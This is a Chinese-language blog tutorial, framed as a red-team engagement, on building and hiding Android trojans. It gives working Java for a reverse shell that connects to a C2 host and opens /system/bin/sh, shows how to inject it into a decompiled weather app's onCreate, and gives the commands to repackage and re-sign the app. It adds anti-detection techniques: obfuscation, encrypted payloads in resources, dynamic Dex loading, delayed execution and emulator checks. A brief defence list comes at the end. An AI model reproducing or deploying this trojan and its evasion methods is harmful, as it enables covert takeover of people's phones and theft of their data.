一、从一次渗透测试说起

前段时间,我们接到一家金融公司的委托,要求对其员工的内部手机管理系统进行一次模拟攻击测试。客户的意图很明确:测试他们的移动设备管理(MDM)系统是否足够安全,并验证是否能阻止恶意APP的入侵。

在实际操作中,我们并没有选择从网络层面入手,而是决定通过精心伪装的木马APP对目标员工手机进行渗透。从攻击到成功控制目标设备,这次行动让我对手机木马的免杀技术有了更深的体会。以下,我将以这次测试为例,详细讲解手机木马在实战中的免杀思路与技巧。

---

二、深度解析:移动设备木马化的第一步

攻击原理

在移动设备上投放木马的核心目标是通过一个合法外壳(通常是正常的APP)隐藏恶意功能,从而绕过杀毒软件和安全检测。通常来说,木马开发要解决以下几个问题:

  1. 恶意代码注入:将恶意逻辑隐藏在应用中;
  2. 静态分析规避:让打包后的应用在代码和签名层面看起来“干净”;
  3. 动态行为隐藏:在运行时避免被系统或安全软件检测到异常流量和行为;
  4. 混淆与加密:对代码、资源、通信数据进行混淆或加密处理;
  5. 绕过安全沙箱:部分安卓应用市场会对上传的APP进行沙箱检测,绕过这部分检测至关重要。

绕过思路

在实际操作中,如果想实现对目标手机的完全控制,以下几种手段非常有效:

  • 利用现有的合法APP(如游戏、工具类APP)作为木马的载体;
  • 在反编译源码后,插入恶意payload,然后重新签名和打包;
  • 在动态调用层面加入一些反调试、反沙箱技术;
  • 将后门功能模块化,通过远程下发payload动态加载到内存中执行。

黑客示意图

接下来,我会用一个简单的木马案例,逐步讲解免杀过程中需要注意的关键技术点。

---

三、伪装APP实战:木马的开发与构造

让我们假设攻击目标使用的是安卓手机。以下是一个基础的安卓木马开发实战案例。

准备工作

在正式开发之前,我们需要以下工具:

  • Apktool:用于反编译和重新打包APK文件;
  • Bytecode Viewer:用于分析APK的DEX文件和代码修改;
  • keytool + jarsigner:对修改后的APK进行重新签名;
  • Python和Bash:编写辅助脚本,提高操作效率。

此外,还需要一个合法的安卓APP作为木马的载体(例如公开源代码的小工具APP)。

改造APP

我们以一个开源的天气预测工具APP为例,向其中嵌入一个简单的反向Shell功能。

步骤1:反编译APP

<pre><code class="language-bash"># 使用Apktool反编译目标APK apktool d weather_app.apk -o weather_decompiled</code></pre>

反编译完成后,weather_decompiled目录下会有解压后的APP资源文件和代码。

步骤2:插入恶意代码

我们编写一个简单的反向Shell代码,用于连接攻击者的C2服务器:

<pre><code class="language-java">public class Payload extends Thread { @Override public void run() { try { // 连接到攻击者的C2 IP和端口 Socket socket = new Socket(&quot;192.168.1.100&quot;, 4444); InputStream in = socket.getInputStream(); OutputStream out = socket.getOutputStream();

// 启动一个反向命令执行管道 Process process = Runtime.getRuntime().exec(&quot;/system/bin/sh&quot;); InputStream processIn = process.getInputStream(); OutputStream processOut = process.getOutputStream();

// 数据读写管道 new Thread(() -&gt; transferData(processIn, out)).start(); transferData(in, processOut); } catch (Exception e) { e.printStackTrace(); } }

// 数据流复制方法 private void transferData(InputStream in, OutputStream out) { try { byte[] buffer = new byte[1024]; int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); out.flush(); } } catch (Exception e) { e.printStackTrace(); } } }</code></pre>

将上述代码插入到APP的源代码中,例如在MainActivityonCreate()方法中启动Payload线程。

<pre><code class="language-java">@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);

// 启动恶意Payload new Payload().start(); }</code></pre>

步骤3:重新打包与签名

反编译完成后,使用Apktool重新打包,并通过jarsigner进行签名:

<pre><code class="language-bash"># 重新打包 apktool b weather_decompiled -o weather_modified.apk

使用keytool生成签名证书

keytool -genkeypair -keystore my-release-key.keystore -alias mykey -keyalg RSA -keysize 2048 -validity 10000

对修改后的APK进行签名

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore weather_modified.apk mykey</code></pre>

黑客示意图

步骤4:验证功能

将重新打包的APK安装到安卓设备上后,启动APP。如果一切正常,C2服务器会收到目标设备的反向连接。

---

四、免杀的深度优化

混淆与反检测

方法1:代码混淆

使用ProGuard对恶意代码进行混淆,让静态检测工具难以分析出Payload的逻辑结构。

方法2:资源文件加密

黑客示意图

将恶意代码以加密形式存储在资源文件中,在运行时动态解密加载。例如:

<pre><code class="language-java">// 从资源文件加载加密代码 InputStream inputStream = getResources().openRawResource(R.raw.payload_encrypted); byte[] encryptedData = readStream(inputStream); byte[] decryptedData = decrypt(encryptedData);</code></pre>

方法3:动态加载技术

将Payload以Dex文件形式存储到外部,并利用dalvik.system.DexClassLoader动态加载,避免恶意代码直接出现在主APP中。

---

五、如何绕过沙箱与EDR

许多安卓应用市场会对上传的APP进行沙箱检测,同时一些EDR工具会检测APP的动态行为。以下是一些绕过思路:

  1. 延时执行:在APP运行的一段时间后才触发Payload,避免在短期内被检测到恶意行为。
  2. 环境检查:检测是否运行在虚拟化环境中(如Genymotion等),如果是则不触发恶意逻辑。
  3. 行为伪装:将恶意流量伪装为合法的HTTPS请求,通过伪造User-Agent等方式混淆流量特征。

---

黑客示意图

六、从攻击者视角看防御

虽然本文的重点是解析攻击技术,但作为一名红队成员,我也会在每次测试后向客户提供详细的防御建议:

  1. 行为分析:使用动态行为检测工具,通过流量分析识别异常连接;
  2. 装置隔离:对员工设备进行严格的网络隔离,禁止非必要的外网访问;
  3. 签名校验:对APP进行严格的签名验证,禁止安装未签名或重新签名的APP;
  4. 安全教育:教育员工不要安装来源不明的APK文件。

---

七、总结与感悟

手机木马的免杀本质上是攻击者与防御者之间的博弈。从攻击者的视角看,我们会不断地通过混淆、加密和伪装等技巧规避安全检测。然而,每次攻击技术的进步,也推动了防御方法的迭代升级。在实战中,攻击与防御从来不是孤立的,而是相辅相成的。